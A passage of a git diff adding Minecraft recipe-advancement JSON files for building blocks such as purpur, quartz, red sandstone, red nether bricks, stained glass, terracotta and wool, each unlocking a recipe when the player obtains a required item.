b/src/data/minecraft/advancements/recipes/building_blocks/purple_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purple_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/purple_terracotta.json new file mode 100644 index 00000000..3c757c19 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purple_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purple_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/purple_wool.json new file mode 100644 index 00000000..d46f33ee --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purple_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purple_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purple_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purpur_block.json b/src/data/minecraft/advancements/recipes/building_blocks/purpur_block.json new file mode 100644 index 00000000..d9229db6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purpur_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purpur_block" + ] + }, + "criteria": { + "has_chorus_fruit_popped": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:popped_chorus_fruit" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purpur_block" + } + } + }, + "requirements": [ + [ + "has_chorus_fruit_popped", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purpur_pillar.json b/src/data/minecraft/advancements/recipes/building_blocks/purpur_pillar.json new file mode 100644 index 00000000..6de70bc2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purpur_pillar.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purpur_pillar" + ] + }, + "criteria": { + "has_purpur_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purpur_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purpur_pillar" + } + } + }, + "requirements": [ + [ + "has_purpur_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purpur_pillar_from_purpur_block_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/purpur_pillar_from_purpur_block_stonecutting.json new file mode 100644 index 00000000..caa75e6a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purpur_pillar_from_purpur_block_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purpur_pillar_from_purpur_block_stonecutting" + ] + }, + "criteria": { + "has_purpur_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purpur_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purpur_pillar_from_purpur_block_stonecutting" + } + } + }, + "requirements": [ + [ + "has_purpur_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purpur_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/purpur_slab.json new file mode 100644 index 00000000..18c04483 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purpur_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purpur_slab" + ] + }, + "criteria": { + "has_purpur_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purpur_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purpur_slab" + } + } + }, + "requirements": [ + [ + "has_purpur_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purpur_slab_from_purpur_block_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/purpur_slab_from_purpur_block_stonecutting.json new file mode 100644 index 00000000..70df4c5f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purpur_slab_from_purpur_block_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purpur_slab_from_purpur_block_stonecutting" + ] + }, + "criteria": { + "has_purpur_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purpur_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purpur_slab_from_purpur_block_stonecutting" + } + } + }, + "requirements": [ + [ + "has_purpur_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purpur_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/purpur_stairs.json new file mode 100644 index 00000000..9e5387f9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purpur_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purpur_stairs" + ] + }, + "criteria": { + "has_purpur_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purpur_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purpur_stairs" + } + } + }, + "requirements": [ + [ + "has_purpur_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/purpur_stairs_from_purpur_block_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/purpur_stairs_from_purpur_block_stonecutting.json new file mode 100644 index 00000000..281e5618 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/purpur_stairs_from_purpur_block_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:purpur_stairs_from_purpur_block_stonecutting" + ] + }, + "criteria": { + "has_purpur_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:purpur_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:purpur_stairs_from_purpur_block_stonecutting" + } + } + }, + "requirements": [ + [ + "has_purpur_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_block.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_block.json new file mode 100644 index 00000000..9363b30a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_block" + ] + }, + "criteria": { + "has_quartz": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_block" + } + } + }, + "requirements": [ + [ + "has_quartz", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_bricks.json new file mode 100644 index 00000000..b3cb2bff --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_bricks" + ] + }, + "criteria": { + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_bricks" + } + } + }, + "requirements": [ + [ + "has_quartz_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_bricks_from_quartz_block_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_bricks_from_quartz_block_stonecutting.json new file mode 100644 index 00000000..ae66c9dd --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_bricks_from_quartz_block_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_bricks_from_quartz_block_stonecutting" + ] + }, + "criteria": { + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_bricks_from_quartz_block_stonecutting" + } + } + }, + "requirements": [ + [ + "has_quartz_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_pillar.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_pillar.json new file mode 100644 index 00000000..56622ac7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_pillar.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_pillar" + ] + }, + "criteria": { + "has_chiseled_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_quartz_block" + } + ] + } + }, + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_quartz_pillar": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_pillar" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_pillar" + } + } + }, + "requirements": [ + [ + "has_chiseled_quartz_block", + "has_quartz_block", + "has_quartz_pillar", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_pillar_from_quartz_block_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_pillar_from_quartz_block_stonecutting.json new file mode 100644 index 00000000..c7cd89f0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_pillar_from_quartz_block_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_pillar_from_quartz_block_stonecutting" + ] + }, + "criteria": { + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_pillar_from_quartz_block_stonecutting" + } + } + }, + "requirements": [ + [ + "has_quartz_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_slab.json new file mode 100644 index 00000000..c0f5fda4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_slab.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_slab" + ] + }, + "criteria": { + "has_chiseled_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_quartz_block" + } + ] + } + }, + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_quartz_pillar": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_pillar" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_slab" + } + } + }, + "requirements": [ + [ + "has_chiseled_quartz_block", + "has_quartz_block", + "has_quartz_pillar", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_slab_from_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_slab_from_stonecutting.json new file mode 100644 index 00000000..9204a112 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_slab_from_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_slab_from_stonecutting" + ] + }, + "criteria": { + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_slab_from_stonecutting" + } + } + }, + "requirements": [ + [ + "has_quartz_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_stairs.json new file mode 100644 index 00000000..3628c9a6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_stairs.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_stairs" + ] + }, + "criteria": { + "has_chiseled_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_quartz_block" + } + ] + } + }, + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_quartz_pillar": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_pillar" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_stairs" + } + } + }, + "requirements": [ + [ + "has_chiseled_quartz_block", + "has_quartz_block", + "has_quartz_pillar", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/quartz_stairs_from_quartz_block_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/quartz_stairs_from_quartz_block_stonecutting.json new file mode 100644 index 00000000..6779800e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/quartz_stairs_from_quartz_block_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:quartz_stairs_from_quartz_block_stonecutting" + ] + }, + "criteria": { + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:quartz_stairs_from_quartz_block_stonecutting" + } + } + }, + "requirements": [ + [ + "has_quartz_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/red_concrete_powder.json new file mode 100644 index 00000000..8c2b13db --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_slab.json new file mode 100644 index 00000000..ee36005b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_nether_brick_slab" + ] + }, + "criteria": { + "has_red_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_nether_brick_slab" + } + } + }, + "requirements": [ + [ + "has_red_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_slab_from_red_nether_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_slab_from_red_nether_bricks_stonecutting.json new file mode 100644 index 00000000..2b85edb2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_slab_from_red_nether_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_nether_brick_slab_from_red_nether_bricks_stonecutting" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_nether_brick_slab_from_red_nether_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_stairs.json new file mode 100644 index 00000000..04259d72 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_nether_brick_stairs" + ] + }, + "criteria": { + "has_red_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_nether_brick_stairs" + } + } + }, + "requirements": [ + [ + "has_red_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_stairs_from_red_nether_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_stairs_from_red_nether_bricks_stonecutting.json new file mode 100644 index 00000000..87f3bc92 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_brick_stairs_from_red_nether_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_nether_brick_stairs_from_red_nether_bricks_stonecutting" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_nether_brick_stairs_from_red_nether_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_nether_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_bricks.json new file mode 100644 index 00000000..415ceb1e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_nether_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_nether_bricks" + ] + }, + "criteria": { + "has_nether_wart": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_wart" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_nether_bricks" + } + } + }, + "requirements": [ + [ + "has_nether_wart", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone.json b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone.json new file mode 100644 index 00000000..81210e6d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_sandstone" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sand" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_sandstone" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_slab.json new file mode 100644 index 00000000..993a8cbf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_slab.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_sandstone_slab" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_chiseled_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_sandstone_slab" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_chiseled_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_slab_from_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_slab_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..e023c1b3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_slab_from_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_sandstone_slab_from_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_sandstone_slab_from_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_stairs.json new file mode 100644 index 00000000..f7d99f88 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_stairs.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_sandstone_stairs" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_chiseled_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_red_sandstone" + } + ] + } + }, + "has_cut_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cut_red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_sandstone_stairs" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_chiseled_red_sandstone", + "has_cut_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_stairs_from_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_stairs_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..73a5c649 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_sandstone_stairs_from_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_sandstone_stairs_from_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_sandstone_stairs_from_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/red_stained_glass.json new file mode 100644 index 00000000..a83da826 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/red_terracotta.json new file mode 100644 index 00000000..bac8d7ba --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/red_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/red_wool.json new file mode 100644 index 00000000..c043baa9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/red_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:red_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:red_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/sandstone.json b/src/data/minecraft/advancements/recipes/building_blocks/sandstone.json new file mode 100644 index 00000000..cfc65926 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/sandstone.json @@ -0,0 +1,32 